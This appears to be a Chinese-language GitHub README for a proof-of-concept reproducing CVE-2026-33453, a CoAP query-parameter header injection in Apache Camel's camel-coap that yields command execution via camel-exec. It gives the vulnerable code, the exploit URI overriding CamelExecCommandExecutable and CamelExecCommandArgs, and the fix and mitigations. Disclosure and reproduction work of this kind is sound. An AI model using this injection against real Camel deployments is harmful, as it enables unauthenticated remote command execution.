oscerd/CVE-2026-33453

GitHub: oscerd/CVE-2026-33453

复现 Apache Camel camel-coap 组件因缺少 HeaderFilterStrategy 导致的 CoAP 消息头注入至远程代码执行漏洞(CVE-2026-33453)的概念验证项目。

Stars: 0 | Forks: 0

# camel-coap Header Injection → RCE 漏洞复现 (CVE-2026-33453) 本项目演示了 Apache Camel 的 `camel-coap` 组件中的一个 **Camel 消息头注入** 漏洞,漏洞编号为 **CVE-2026-33453**。未经身份验证的攻击者只需发送单个 CoAP UDP 数据包,即可将任意的 `Camel*` 控制头注入到 Exchange 中;当路由将其转发到对消息头敏感的 producer(如 `camel-exec`)时,即可实现 **远程代码执行**。 安全公告: https://camel.apache.org/security/CVE-2026-33453.html ## 漏洞概述 | 属性 | 值 | |----------|-------| | **组件** | `camel-coap` | | **受影响类** | `org.apache.camel.coap.CamelCoapResource` (`handleRequest`) | | **根本原因** | CoAP URI 查询参数被复制到 Exchange header 中,且未使用 `HeaderFilterStrategy` | | **CWE** | CWE-915: 动态确定对象属性的不当控制修改 | | **影响** | 远程代码执行 (通过对消息头敏感的 producer,例如 camel-exec) | | **攻击面** | 单个未经身份验证的 CoAP UDP 数据报 (默认端口 5683) | | **受影响版本** | 从 4.14.0 到 4.14.6 之前,以及从 4.15.0 到 4.18.1 之前 | | **修复版本** | 4.14.6, 4.18.1, 4.19.0 | | **JIRA** | CAMEL-23222 | | **报告者** | Hyunwoo Kim (@v4bel) | ## 技术细节 在受影响的版本中,`CamelCoapResource.handleRequest()` 会遍历 CoAP 请求的 URI 查询选项,并将每一个选项复制到 Camel Exchange In header 中,**期间没有应用任何 `HeaderFilterStrategy`**: ``` // CamelCoapResource.handleRequest() - affected version OptionSet options = exchange.getRequest().getOptions(); for (String s : options.getUriQuery()) { int i = s.indexOf('='); String name = (i == -1) ? s : s.substring(0, i); String value = (i == -1) ? "" : s.substring(i + 1); camelExchange.getIn().setHeader(name, value); // NO HeaderFilterStrategy! } ``` `CoAPEndpoint` 继承自 `DefaultEndpoint` (而不是 `DefaultHeaderFilterStrategyEndpoint`),并且 `CoAPComponent` 没有实现 `HeaderFilterStrategyComponent`,因此根本没有任何过滤器。因此,攻击者只需在 CoAP 请求 URI 中添加查询参数,即可设置**任何** header —— 包括 Camel 内部的 `Camel*` 控制 header。 当路由将消息传递给对 header 敏感的 producer 时,这些 header 会改变其行为。对于 `camel-exec`,`CamelExecCommandExecutable` 和 `CamelExecCommandArgs` header 会覆盖在 endpoint 上配置的可执行文件和参数 (在受影响的版本中默认予以执行),从而导致任意 OS 命令执行。命令的 stdout 会被写回 Exchange body 并在 CoAP 响应中返回,从而提供了一个交互式的 RCE 通道。 ## 受害者路由 ``` from("coap://0.0.0.0:5683/run") .to("exec:echo?args=hello") // fixed, harmless command .convertBodyTo(String.class); // return stdout in the CoAP response ``` 正常的请求会运行 `echo hello`。攻击者则可以通过注入的 header 覆盖该命令。 ## 前置条件 - Java 17+ - Maven 3.8+ CoAP 基于 UDP (RFC 7252),没有内置身份验证 (DTLS 是可选的,且默认禁用),因此**不需要任何外部服务或 Docker 容器** —— 该复现应用程序既是存在漏洞的 CoAP 服务器,也内置了攻击者客户端 (使用诸如 libcoap 的 `coap-client` 等原始客户端也可以)。 ## 复现步骤 ### 第一步:构建并启动 ``` mvn clean package -DskipTests mvn spring-boot:run ``` 应用程序会在 `coap://0.0.0.0:5683/run` 启动易受攻击的路由,并在 8080 端口启动一个辅助 REST controller。 ### 第二步:正常请求 (健全性检查) ``` curl http://localhost:8080/exploit/normal # -> CoAP 响应:hello ``` ### 第三步:攻击 —— 通过 CoAP URI 查询注入 exec 覆盖 header ``` # 默认良性证明:touch /tmp/pwned curl "http://localhost:8080/exploit/attack" # 选择不同的 executable/args: curl "http://localhost:8080/exploit/attack?exe=/usr/bin/touch&args=/tmp/owned-by-coap" ``` 在底层,内置的 CoAP 客户端会发送单个数据报: ``` coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned ``` 如果改用原始 CoAP 客户端: ``` coap-client -m get "coap://localhost:5683/run?CamelExecCommandExecutable=/usr/bin/touch&CamelExecCommandArgs=/tmp/pwned" ``` ### 第四步:验证 ``` ls -la /tmp/pwned ``` 如果 `/tmp/pwned` 存在,则说明注入的 header 成功覆盖了 exec 命令 → RCE。 ## 攻击向量 此注入只需要在下游有一个对 header 敏感的 producer。安全公告中列举了以下几种: - **camel-exec** — `CamelExecCommandExecutable` / `CamelExecCommandArgs` → OS 命令执行 - **camel-file** — `CamelFileName` → 任意文件写入 / 路径遍历 - **camel-sql** — 查询控制 header - **camel-bean** — `CamelBeanMethodName` → 调用其他方法 - **模板组件** (freemarker/velocity) — 资源选择 header ## 利用条件 1. 消费来源为 `coap://...` 的 Camel 路由。 2. 该路由转发到 (或受影响于) 对 header 敏感的 producer。 3. 在 CoAP consumer 和该 producer 之间没有使用 `removeHeaders("Camel*")`。 无需身份验证;向 5683 端口发送单个 UDP 数据报即可达成攻击。 ## 修复建议 修复方案 (CAMEL-23222) 让 `CoAPEndpoint` 携带了 `HeaderFilterStrategy`,并在 `handleRequest()` 设置 header 之前应用该策略,从而确保 `Camel*` 为前缀的名称会在 CoAP 边界处被过滤,就像其他所有传输协议一样: ``` HeaderFilterStrategy strategy = consumer.getCoapEndpoint().getHeaderFilterStrategy(); ... if (strategy == null || !strategy.applyFilterToExternalHeaders(name, value, camelExchange)) { camelExchange.getIn().setHeader(name, value); } ``` ## 缓解措施 在升级之前: 1. **剥离 Camel header**:针对来源于 CoAP 的消息,在 `from("coap:...")` 之后直接使用 `.removeHeaders("Camel*")`。 2. **避免使用对 header 敏感的 producer**:不要将其置于不受信任的 CoAP 输入下游,或者锁定其配置,使得 header 无法覆盖原有设置。 3. **启用 DTLS** (`coaps://`) 并要求客户端身份验证,以限制可以访问该 endpoint 的对象。 4. **网络隔离**:将 CoAP 端口保留在受信任的网络中。 ## 文件 ``` CVE-2026-33453/ ├── pom.xml ├── README.md └── src/main/ ├── java/com/example/ │ ├── Application.java # Spring Boot entry point │ ├── CoapExecRoute.java # the vulnerable victim route (coap -> exec) │ └── ExploitController.java # bundled CoAP attacker client (/exploit/normal, /exploit/attack) └── resources/ └── application.properties ``` ## 免责声明 此复现代码仅用于**安全研究和授权测试**,针对的是一个**已公开披露并已修复**的漏洞。未经明确许可,请勿将其用于任何系统。
标签:Apache Camel, CoAP协议, Go语言工具, JS文件枚举, RCE, 域名枚举, 安全漏洞复现